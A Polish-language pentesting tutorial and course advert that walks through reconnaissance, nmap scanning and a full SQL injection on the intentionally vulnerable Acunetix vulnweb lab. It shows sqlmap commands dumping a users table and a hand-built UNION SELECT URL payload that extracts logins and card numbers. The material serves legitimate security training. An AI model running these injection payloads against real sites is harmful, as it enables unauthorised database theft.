Fundamenty - czego musisz nauczyć się najpierw

Najczęstszy błąd początkujących to skok od razu do włamywania się. Pentest bez fundamentów jest jak rozbiórka silnika przez kogoś, kto nie wie, jak działa spalanie - widzisz części, ale nie rozumiesz, co robisz. Trzy filary, bez których ani rusz:

Sieci. TCP/IP, model warstwowy, DNS, HTTP/HTTPS, porty i usługi, translacja adresów (NAT), zapory sieciowe (firewall). Większość ataków przechodzi przez sieć, więc musisz rozumieć, co dzieje się na drucie.
Linux i administracja systemem. Powłoka (shell), system plików, uprawnienia, procesy, usługi. Narzędzia pentestera żyją w Linuksie, a wiele celów to serwery linuksowe.
Aplikacje webowe. Jak działa żądanie i odpowiedź HTTP, ciasteczka (cookies), sesje, formularze, zapytania do bazy danych. Lwia część współczesnych podatności jest po stronie aplikacji web.

Do tego warto dołożyć podstawy skryptowania (bash, a potem Python) - nie po to, by pisać exploity od zera, ale by automatyzować rutynę i rozumieć cudzy kod. To nie jest etap do przeskoczenia. To etap, dzięki któremu wszystko inne zaczyna mieć sens.

Metodyka pentestu - pięć faz

Profesjonalny pentest nie jest chaotycznym klikaniem. To uporządkowany proces, który mniej więcej pokrywa się z uznanymi standardami (PTES, OWASP, metodyka OSSTMM). Pięć faz prowadzi od poznania celu do dokumentu, który realnie poprawia bezpieczeństwo.

Faza 1

Rozpoznanie

recon - zbieranie informacji o celu

Faza 2

Skanowanie

mapowanie portów i usług

Faza 3

Eksploatacja

wykorzystanie luki, zdobycie dostępu

Faza 4

Post-eksploatacja

eskalacja uprawnień, ocena zasięgu

Faza 5

Raport

dowody i rekomendacje naprawcze

Pięć faz testu penetracyjnego. Każda faza zasila następną - bez dobrego rozpoznania skanowanie jest ślepe, a bez raportu cała praca nie ma wartości dla klienta.

Faza 1: Rozpoznanie (recon)

Zanim cokolwiek dotkniesz, poznajesz cel. Rozpoznanie pasywne czerpie z publicznie dostępnych źródeł (biały wywiad, OSINT): rejestry domen, certyfikaty, subdomeny, technologie, adresy e-mail. Rozpoznanie aktywne to już bezpośrednia interakcja z celem - tu zaczyna się obszar wymagający autoryzacji. Poniżej przykład bezpiecznego, pasywnego sprawdzenia publicznego celu testowego Acunetix, który istnieje właśnie po to, by się na nim uczyć:

# Cel: testphp.vulnweb.com - publiczny lab Acunetix przeznaczony do nauki
# Jakie rekordy DNS ma domena? (rozpoznanie pasywne, bez ataku)
kali@kali:~$ host testphp.vulnweb.com
testphp.vulnweb.com has address 44.228.249.3

# Jaki serwer i technologie odpowiadają? Czytamy same nagłówki HTTP
kali@kali:~$ curl -sI http://testphp.vulnweb.com
HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8

Z dwóch komend już wiemy sporo: cel działa na serwerze nginx, aplikacja jest napisana w bardzo starej wersji PHP. To kierunkuje dalsze kroki. Dobry recon potrafi przesądzić o powodzeniu całego testu - im więcej wiesz, tym celniej działasz później.

Faza 2: Skanowanie

Teraz mapujesz powierzchnię ataku: które porty są otwarte, jakie usługi za nimi stoją, w jakich wersjach. Standardem branży jest nmap. Poniżej skan publicznego celu testowego - zwróć uwagę, że pracujemy wyłącznie na adresie udostępnionym do nauki:

# Skan usług i wersji na publicznym labie. -sV = wykryj wersje, -T4 = tempo
kali@kali:~$ nmap -sV -T4 testphp.vulnweb.com
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for testphp.vulnweb.com (44.228.249.3)
Host is up (0.12s latency).
PORT     STATE  SERVICE  VERSION
80/tcp   open   http     nginx 1.19.0
443/tcp  closed https
Service detection performed. Nmap done: 1 IP address scanned in 14.2s

Wynik mówi nam, że jedyną istotną usługą jest serwer WWW na porcie 80. W realnym teście wewnętrznym zobaczyłbyś znacznie więcej: bazy danych, usługi zdalnego dostępu, panele administracyjne. Każda otwarta usługa to potencjalna ścieżka - i każdą trzeba zweryfikować.

Faza 3: Eksploatacja - realne włamanie krok po kroku

Tu rozpoznanie zamienia się w realny dostęp. Pokażemy pełne, udane włamanie do bazy danych przez podatność webową - na tej samej aplikacji co wcześniej, czyli vulnweb (Acuart). Z jedną różnicą: zamiast publicznego serwera użyjemy jego własnej kopii uruchomionej lokalnie. Dlaczego? Po pierwsze, publiczny testphp.vulnweb.com bywa niedostępny - to tylko serwis pokazowy i regularnie pada. Po drugie, dane wynosi się i zrzuca wyłącznie z systemu, który sami w pełni kontrolujemy. Komendy są identyczne jak przeciwko publicznemu celowi; zmienia się tylko adres. Wszystko poniżej pochodzi z prawdziwego wykonania, nie z symulacji.

Najpierw poligon: postaw vulnweb lokalnie w Dockerze

Jeśli testphp.vulnweb.com nie odpowiada (a zdarza się to często), postaw tę samą aplikację u siebie w kilka chwil. Potrzebujesz tylko Dockera.

Nie masz go jeszcze? Na Kali, Ubuntu czy Debianie zainstalujesz Dockera oficjalnym skryptem instalacyjnym:

# Instalacja Dockera (Kali / Ubuntu / Debian) - oficjalny skrypt get.docker.com
kali@kali:~$ curl -fsSL https://get.docker.com | sudo sh

# (opcjonalnie) uruchamianie dockera bez sudo - wyloguj sie i zaloguj po tej komendzie
kali@kali:~$ sudo usermod -aG docker $USER

# Sprawdz, ze Docker i Compose dzialaja (powinno wypisac wersje)
kali@kali:~$ docker --version && docker compose version

Na Windowsie i macOS najwygodniej zainstalowac Docker Desktop - dostajesz to samo polecenie docker compose. Gdy Docker juz dziala, pobierz gotowy lab i uruchom go:

# 1. Pobierz i rozpakuj gotowy lab (ta sama aplikacja Acuart co testphp.vulnweb.com)
kali@kali:~$ wget https://jsystems.pl/new_page_resources/images/HACKING_KURS/vulnweb-lab.zip
kali@kali:~$ unzip vulnweb-lab.zip && cd vulnweb-lab

# 2. Zbuduj i uruchom (aplikacja PHP + baza MariaDB z bazą acuart)
kali@kali:~$ docker compose up -d --build

# 3. Sprawdź, że działa - strona powinna odpowiedzieć na porcie 8080
kali@kali:~$ curl -s http://localhost:8080/ | grep -i acunetix
<title>Home of Acunetix Art</title>

Aplikacja nasłuchuje pod adresem http://localhost:8080. Jeśli atakujesz ją z innej maszyny w sieci, zamiast localhost użyj adresu IP kontenera albo hosta, na którym stoi Docker. To kompletny, działający vulnweb - od tego momentu wszystkie poniższe komendy kierujemy właśnie tu. A gdy publiczny serwis akurat wstanie i wolisz uderzyć w niego, po prostu zamień w komendach localhost:8080 na testphp.vulnweb.com - cała reszta zostaje bez zmian.

Strona główna naszej lokalnej kopii vulnweb (Acuart) na localhost:8080 - identyczna jak publiczny testphp.vulnweb.com. Sam banner przypomina, że to celowo podatna aplikacja postawiona do nauki.

Co to jest wstrzyknięcie SQL (SQL injection)? To podatność, w której dane wpisane przez użytkownika - na przykład wartość parametru w adresie URL - trafiają wprost do zapytania do bazy danych, bez odfiltrowania. Atakujący dopisuje własny fragment zapytania, a baza wykonuje go tak samo jak kod aplikacji. Skutki bywają poważne: odczyt cudzych danych (loginy, hasła, dane klientów), ominięcie logowania, a czasem przejęcie całego serwera bazy.

Jak w ogóle znaleźć podatny parametr

Zanim odpalimy jakiekolwiek narzędzie, musimy wiedzieć, co właściwie atakować - skanowanie zaczyna się od zwykłego klikania po stronie i patrzenia na adres w pasku przeglądarki. Wejście w kategorię z plakatami prowadzi pod adres listproducts.php?cat=1. Ten fragment ?cat=1 to parametr przekazywany w adresie URL - aplikacja bierze jego wartość (1) i na jej podstawie wybiera z bazy produkty z danej kategorii. Zmień ?cat=2, a zobaczysz inną kategorię. Skoro wartość prosto z paska adresu trafia do zapytania SQL, to właśnie ona jest naszym pierwszym punktem zaczepienia.

Parametr cat widoczny wprost w pasku adresu (listproducts.php?cat=1, zaznaczony na czerwono). Jego wartość aplikacja wstawia do zapytania o produkty - to ona jest naszym punktem zaczepienia.

Jak sprawdzić, czy ten parametr da się wykorzystać? Najprostszy test to dopisać do jego wartości pojedynczy apostrof (') i zobaczyć, czy aplikacja się zakrztusi. Wpisujemy w pasek listproducts.php?cat=1' - przeglądarka pokaże apostrof jako %27, czyli ten sam znak zapisany w kodowaniu adresu URL:

Po dopisaniu apostrofu zamiast listy produktów dostajemy komunikat błędu składni SQL z MariaDB. Apostrof rozbił zapytanie - to twardy dowód, że wartość parametru trafia do bazy bez żadnego filtrowania.

Ten błąd to jednoznaczny sygnał: nasz apostrof zamknął ciąg znaków wewnątrz zapytania i reszta przestała być poprawnym SQL-em. Skoro jeden znak potrafi rozbić zapytanie, to znaczy, że równie dobrze możemy dopisać do niego własny fragment - czyli parametr cat jest podatny na wstrzyknięcie SQL. I właśnie na niego skierujemy sqlmap.

Ręczny apostrof potwierdził podatność, ale wyciąganie danych znak po znaku byłoby mordęgą. Od tego jest sqlmap - narzędzie, które samo potwierdza podatność, dobiera technikę wstrzyknięcia i pozwala wygodnie wyciągać dane: od listy baz, przez tabele, po konkretne rekordy. Wskazujemy mu dokładnie ten podatny adres - listproducts.php?cat=1 na naszym lokalnym vulnweb pod localhost:8080 (albo wprost na testphp.vulnweb.com, jeśli publiczny serwis akurat działa) - i zaczynamy od pytania, jakie bazy danych widzi aplikacja:

# Krok 1 - czy parametr cat jest podatny i jakie bazy widzi aplikacja?
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch --dbs
[INFO] GET parameter 'cat' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
sqlmap identified the following injection point(s):
Parameter: cat (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

Rozłóżmy tę komendę na czynniki pierwsze:

-u "..." - adres celu wraz z podatnym parametrem (nasz cat); to jedyne, czego sqlmap potrzebuje, żeby zacząć.
--batch - tryb nieinteraktywny: sqlmap nie przerywa pytaniami, tylko sam przyjmuje rozsądne odpowiedzi domyślne.
--dbs - wylistuj wszystkie bazy danych, do których aplikacja ma dostęp.

sqlmap potwierdził, że parametr cat jest podatny na kilka technik wstrzyknięcia naraz, rozpoznał silnik bazy (MySQL/MariaDB) i wypisał dostępne bazy: acuart (dane aplikacji) oraz systemową information_schema. Zaglądamy do acuart i pytamy o tabele:

# Krok 2 - jakie tabele są w bazie acuart?
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch -D acuart --tables
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

Doszły dwa parametry: -D acuart wskazuje konkretną bazę (tę, którą przed chwilą znaleźliśmy), a --tables każe wypisać jej tabele.

Osiem tabel, a w nich oczywista zdobycz: users. Wyciągamy jej całą zawartość:

# Krok 3 - wyciągnij konta z tabeli users
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch -D acuart -T users --dump
Database: acuart
Table: users
[1 entry]
+---------------------+------+------+------------------+---------+-------+-----------+-----------+
| cc                  | cart | pass | email            | phone   | uname | name      | address   |
+---------------------+------+------+------------------+---------+-------+-----------+-----------+
| 1234-5678-2300-9000 | NULL | test | test@test.acuart | 2323345 | test  | Test User | 21 street |
+---------------------+------+------+------------------+---------+-------+-----------+-----------+

Tym razem dokładamy -T users (wybieramy tabelę users) oraz --dump (pobierz i pokaż całą jej zawartość, rekord po rekordzie).

Trzy komendy i mamy pełny rekord konta: login test, hasło test, e-mail, a do tego zapisany numer karty płatniczej. Na prawdziwym sklepie ta sama jedna podatność oznaczałaby zrzut całej tabeli klientów wraz z danymi kart - i to jest dokładnie ten moment, w którym luka przestaje być teorią.

A jeśli zamiast oglądać dane na ekranie chcemy je zapisać do pliku? sqlmap i tak domyślnie zrzuca wynik do CSV, ale flagą --output-dir wskażemy własny katalog - wygodne, gdy zbieramy materiał do raportu:

# Ten sam zrzut, ale wynik ląduje we wskazanym katalogu
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch        -D acuart -T users --dump --output-dir=./wyniki
[INFO] table 'acuart.users' dumped to CSV file './wyniki/localhost/dump/acuart/users.csv'

# Gotowy plik można od razu otworzyć albo przetworzyć dalej
kali@kali:~$ cat ./wyniki/localhost/dump/acuart/users.csv
cc,cart,pass,email,phone,uname,name,address
1234-5678-2300-9000,NULL,test,test@test.acuart,2323345,test,Test User,21 street

Domyślnym formatem jest CSV, ale przez --dump-format można wybrać też HTML albo SQLITE. Tak zapisany plik trafia wprost do dowodów w raporcie z testu - bez ręcznego przepisywania czegokolwiek.

To samo ręcznie - atak UNION przez URL

sqlmap robi to automatycznie, ale dobry pentester rozumie, co dzieje się pod spodem - i potrafi powtórzyć atak ręcznie. Do przechwytywania i modyfikowania żądań służy zwykle Burp Suite: narzędzie pośredniczące (proxy), które staje między przeglądarką a serwerem i pozwala dowolnie zmieniać wysyłane dane. W naszym przypadku podatny parametr siedzi wprost w adresie URL, więc atak złożymy nawet bez proxy - po prostu wpisując spreparowany adres w przeglądarce.

Tym razem weźmy na warsztat inny adres. Klikając w menu w artists, trafiamy pod artists.php?artist=1 - to kolejny parametr w URL, znaleziony dokładnie tak samo jak wcześniej cat: po prostu widać go w pasku adresu. Ten sam test apostrofem (artist=1') też kończy się błędem SQL, więc i ten parametr jest podatny - tylko że to wstrzyknięcie złożymy ręcznie, żeby zobaczyć mechanizm od środka.

Parametr artist widoczny w pasku adresu (artists.php?artist=1, zaznaczony) - strona wyświetla wybranego artystę i jego opis.

Ten sam test apostrofem co przy cat: artists.php?artist=1' (w pasku zapisane jako %27) zwraca błąd składni SQL - czyli parametr artist również jest podatny.

Wykorzystamy technikę UNION. Polega ona na dokleceniu do oryginalnego zapytania własnego SELECT przez słowo kluczowe UNION - dzięki temu w miejscu zwykłych wyników aplikacji (tu: opisu artysty) pojawiają się dane wybrane przez atakującego. W parametr artist strony artists.php wstrzykujemy:

http://localhost:8080/artists.php?artist=-1 UNION SELECT 1,group_concat(uname,0x3a,pass,0x3a,cc,0x3a,email),3 FROM users

Rozłóżmy ten ładunek na części:

artist=-1 - nieistniejący identyfikator artysty, więc oryginalne zapytanie nie zwraca żadnego wiersza i całe miejsce na wynik zostaje wolne dla naszego UNION SELECT.
SELECT 1,...,3 - podajemy trzy wartości, bo oryginalne zapytanie też zwraca trzy kolumny (artysta ma identyfikator, nazwę i opis), a UNION wymaga zgodnej liczby kolumn. Liczby 1 i 3 to atrapy w kolumny, których strona i tak nie pokazuje; nasz ładunek wstawiamy w środkową kolumnę, bo to właśnie ją aplikacja wyświetla jako nazwę artysty.
uname, pass, cc, email - to nazwy kolumn tabeli users, które poznaliśmy już wcześniej ze zrzutu sqlmapem (widać je w nagłówku zrzuconej tabeli). Tu po prostu wybieramy te najciekawsze.
group_concat(...) - skleja wszystkie te pola jednego konta w jeden napis, a 0x3a (zapisany szesnastkowo dwukropek) rozdziela je tak, żeby dało się je odczytać.

Tak złożone zapytanie baza wykonuje posłusznie i zwraca wyciągnięte dane dokładnie tam, gdzie aplikacja spodziewała się nazwy artysty:

Efekt ręcznego ataku UNION na artists.php. W miejscu nazwy artysty aplikacja wyświetliła wyciekły rekord konta: test:test:1234-5678-2300-9000:test@test.acuart - login, hasło, numer karty i e-mail. Ten sam wynik co sqlmap, tylko że tu widać dokładnie, jak pojedynczy spreparowany adres URL zamienia niewinne zapytanie o artystę w wyciek danych.

Zrozumienie tego mechanizmu jest ważniejsze niż samo kliknięcie narzędzia - pozwala te luki nie tylko znajdować, ale i naprawiać.

Na tym etapie etyczny pentester zatrzymuje się dokładnie tam, gdzie wystarczy, by udowodnić istnienie luki. Nie chodzi o wyrządzenie maksymalnej szkody - chodzi o dowód koncepcji (proof of concept), który pokaże klientowi, że problem jest realny. W rzeczywistym zleceniu masz w umowie zapisane, jak daleko wolno Ci się posunąć.

Faza 4: Post-eksploatacja

Zdobycie pierwszego dostępu to rzadko koniec. Pentester ocenia, jak głęboko sięga problem: czy z konta zwykłego użytkownika da się podnieść uprawnienia do administratora (eskalacja uprawnień), czy z jednej maszyny można przejść na kolejne (ruch boczny, lateral movement), jakie wrażliwe dane stają się osiągalne. To tu mierzy się prawdziwy wpływ podatności na organizację. Cały czas obowiązuje zasada minimalnej ingerencji - dokumentujesz zasięg, ale nie niszczysz i nie wynosisz danych poza ustalony zakres.

Faza 5: Raport

Najmniej efektowna, a najważniejsza faza. Raport to produkt, za który płaci klient. Dobry dokument zawiera streszczenie dla zarządu (bez żargonu), szczegóły techniczne każdej luki, dowody (proof of concept), ocenę ryzyka oraz konkretne, wykonalne rekomendacje naprawcze. Pentest bez porządnego raportu jest bezwartościowy - to raport zamienia znalezione usterki w realnie naprawione bezpieczeństwo.

Narzędzia pentestera - co i do czego

Bazą jest Kali Linux - dystrybucja z setkami preinstalowanych narzędzi, którą najwygodniej uruchomić jako maszynę wirtualną. Ale narzędzie to tylko narzędzie: znajomość samego nmapa nie czyni pentestera, podobnie jak posiadanie młotka nie czyni stolarza. Poniżej najważniejsze pozycje, z których faktycznie korzysta się w pracy.

Narzędzie	Do czego służy	Faza
Kali Linux	Dystrybucja-poligon z gotowym zestawem narzędzi pentestera	Środowisko
nmap	Skanowanie portów, wykrywanie usług i wersji oprogramowania	Skanowanie
theHarvester	Zbieranie adresów e-mail, subdomen i danych z publicznych źródeł (OSINT)	Rozpoznanie
Burp Suite	Przechwytywanie i modyfikacja ruchu HTTP - testy aplikacji webowych	Eksploatacja (web)
sqlmap	Automatyczne wykrywanie i potwierdzanie wstrzyknięć SQL (SQL injection)	Eksploatacja (web)
Metasploit Framework	Baza exploitów i modułów post-eksploatacji - zarządzanie atakiem	Eksploatacja
Wireshark	Analiza ruchu sieciowego pakiet po pakiecie - diagnostyka i podsłuch w labie	Rozpoznanie / analiza
Hydra / John the Ripper	Testowanie siły haseł i łamanie skrótów haseł (na własnych danych)	Eksploatacja

Przykład użycia Wireshark w wersji konsolowej (tshark) do podejrzenia ruchu na własnym interfejsie - czysta diagnostyka we własnym labie, nie podsłuch cudzej sieci:

# Nasłuch HTTP na własnym interfejsie lab (eth0), tylko pierwsze 5 pakietów
kali@kali:~$ sudo tshark -i eth0 -c 5 -Y "http.request" -T fields \
       -e ip.dst -e http.host -e http.request.uri
10.0.2.20   dvwa.local   /login.php
10.0.2.20   dvwa.local   /vulnerabilities/sqli/?id=1
10.0.2.20   dvwa.local   /vulnerabilities/xss_r/
5 packets captured

Gdzie ćwiczyć legalnie

To pytanie wraca w każdej rozmowie z początkującym: mam już Kali, na czym teraz trenować? Odpowiedź jest jednoznaczna - na środowiskach, które ich właściciele celowo udostępnili do nauki. Nigdy na cudzych systemach dla testu.

DVWA (Damn Vulnerable Web Application) - celowo dziurawa aplikacja webowa, którą uruchamiasz lokalnie. Idealna do nauki wstrzyknięć SQL, skryptów międzydomenowych (XSS) i innych podatności webowych z regulowanym poziomem trudności.
Metasploitable i VulnHub - gotowe obrazy podatnych maszyn wirtualnych. Stawiasz je u siebie i atakujesz do woli we własnej sieci.
TryHackMe - platforma z prowadzonymi ścieżkami od podstaw (Pre-Security, Junior Penetration Tester). Najlepszy start dla zupełnie początkujących.
HackTheBox - setki maszyn o rosnącej trudności, bliżej realnych scenariuszy. Świetne na etap średniozaawansowany i wyżej.
Publiczne cele Acunetix - testphp.vulnweb.com, testasp.vulnweb.com, testaspx.vulnweb.com - serwisy postawione właśnie po to, by się na nich uczyć skanowania i testów webowych.

Zasada, która chroni Twoją karierę: jeśli nie postawiłeś celu sam i nie masz na piśmie zgody jego właściciela, nie wolno Ci go skanować ani atakować. Nawet niewinny skan nmapem cudzej infrastruktury bez autoryzacji może być traktowany jako nieuprawniony dostęp. W zawodzie pentestera reputacja i czyste konto to kapitał - jeden nieprzemyślany skan może je przekreślić.

Certyfikaty - które naprawdę warto

Certyfikaty nie zastąpią godzin na labach, ale dobrze dobrane przechodzą przez filtry rekrutacyjne i porządkują wiedzę:

eJPT (eLearnSecurity Junior Penetration Tester) - przystępny, w pełni praktyczny. Najlepszy pierwszy certyfikat dla osoby wchodzącej w temat.
OSCP (Offensive Security Certified Professional) - złoty standard branży. Egzamin to wielogodzinny praktyczny pentest na żywych maszynach. Trudny i wymagający, ale otwiera drzwi do najlepszych ofert.
PNPT (Practical Network Penetration Tester) - praktyczny, ceniony, z naciskiem na realny przebieg testu wraz z raportem.
CEH (Certified Ethical Hacker) - rozpoznawalny globalnie, bardziej teoretyczny; bywa wymagany w ofertach korporacyjnych i przetargach.

Ścieżka kariery i zarobki

Specjaliści od bezpieczeństwa ofensywnego należą do najbardziej poszukiwanych profili w IT, a podaż dobrych pentesterów jest mniejsza niż popyt. Poniższe widełki to orientacyjny obraz rynku polskiego dla kontraktów B2B netto - traktuj je jako rząd wielkości, nie sztywną tabelę, bo realna stawka zależy od specjalizacji (web, sieci, chmura, urządzenia), certyfikatów i portfolio.

Poziom	Co realnie potrafi	Widełki (B2B netto, orientacyjnie)
Junior	Samodzielnie przechodzi proste maszyny, zna metodykę i narzędzia, pracuje pod okiem seniora	8 000 - 13 000 zł/mies.
Mid	Prowadzi testy webowe i sieciowe samodzielnie, pisze sensowne raporty, łączy podatności	15 000 - 22 000 zł/mies.
Senior	Złożone scenariusze, własne narzędzia, specjalizacja (np. chmura, Active Directory), prowadzenie zespołu	25 000 - 40 000+ zł/mies.

Droga do pierwszej pracy układa się sensownie w kilku krokach: opanuj fundamenty (sieci, Linux, web), zainstaluj Kali jako maszynę wirtualną, przerób ścieżki na TryHackMe, przejdź serię maszyn na HackTheBox, zdobądź eJPT, a docelowo celuj w OSCP. Równolegle buduj publiczne portfolio - opisy przejścia maszyn (write-upy), własne skrypty, notatki z labów. Na rozmowie rekruter pyta nie o to, jakie masz certyfikaty, lecz o to, co potrafisz pokazać.

Red team kontra blue team - dwie strony tej samej monety

W bezpieczeństwie funkcjonują dwa obozy, które razem tworzą realną odporność organizacji:

Red team (ofensywa) - symuluje napastnika. Pentesterzy, specjaliści od symulacji ataków, badacze podatności. Ich zadaniem jest znaleźć dziury, zanim zrobi to ktoś niepowołany.
Blue team (obrona) - utrzymuje obronę i wykrywa ataki. Analitycy centrum operacji bezpieczeństwa (SOC), specjaliści od reagowania na incydenty, inżynierowie detekcji. Ich zadaniem jest zauważyć i powstrzymać.

Coraz częściej mówi się też o purple team - modelu współpracy, w którym ofensywa i obrona wymieniają się wiedzą na bieżąco, zamiast pracować w izolacji. Dla początkującego to ważny sygnał: nawet jeśli ciągnie Cię strona ofensywna, rozumienie, jak działa obrona (logi, detekcja, reagowanie), czyni Cię znacznie lepszym pentesterem. Najlepsi atakujący myślą jak obrońcy - i odwrotnie.

Uczciwie na koniec - to wymaga pracy

Jeśli szukasz drogi na skróty, pentesty Cię rozczarują. To dyscyplina, która nagradza cierpliwość i głębię: zanim sprawnie wykorzystasz podatność, musisz rozumieć protokół, system i aplikację, w której ona żyje. Dobra wiadomość jest taka, że ta droga jest przewidywalna i w pełni do przejścia - krok po kroku, na legalnych labach, z rosnącą trudnością. Każda godzina spędzona na własnym poligonie procentuje. A satysfakcja z momentu, w którym po raz pierwszy samodzielnie przejdziesz całą maszynę od rozpoznania do dowodu koncepcji, jest jednym z lepszych uczuć w całym IT.

Jeśli wolisz przejść tę drogę szybciej i pod okiem kogoś, kto robi to zawodowo, możesz to zrobić z nami. Szkolenie Testy penetracyjne w praktyce to nie wykład ze slajdów - opiera się na ćwiczeniach na celowo podatnych labach (dokładnie takich jak ten, który przed chwilą rozbiliśmy), a prowadzi je Adrian Chaber - Head of Cybersecurity w SALESmanago, który testami bezpieczeństwa zajmuje się zawodowo. Wychodzisz z gotowym warsztatem: metodyką, narzędziami i nawykami, które od razu wykorzystasz w pracy. Szkolenie ma też terminy gwarantowane.

Szkolenie Testy penetracyjne w praktyce

To szkolenie może być dofinansowane dla Ciebie z KFS lub BUR.

★★★★★Średnia ocena naszych szkoleń w Google: 5/5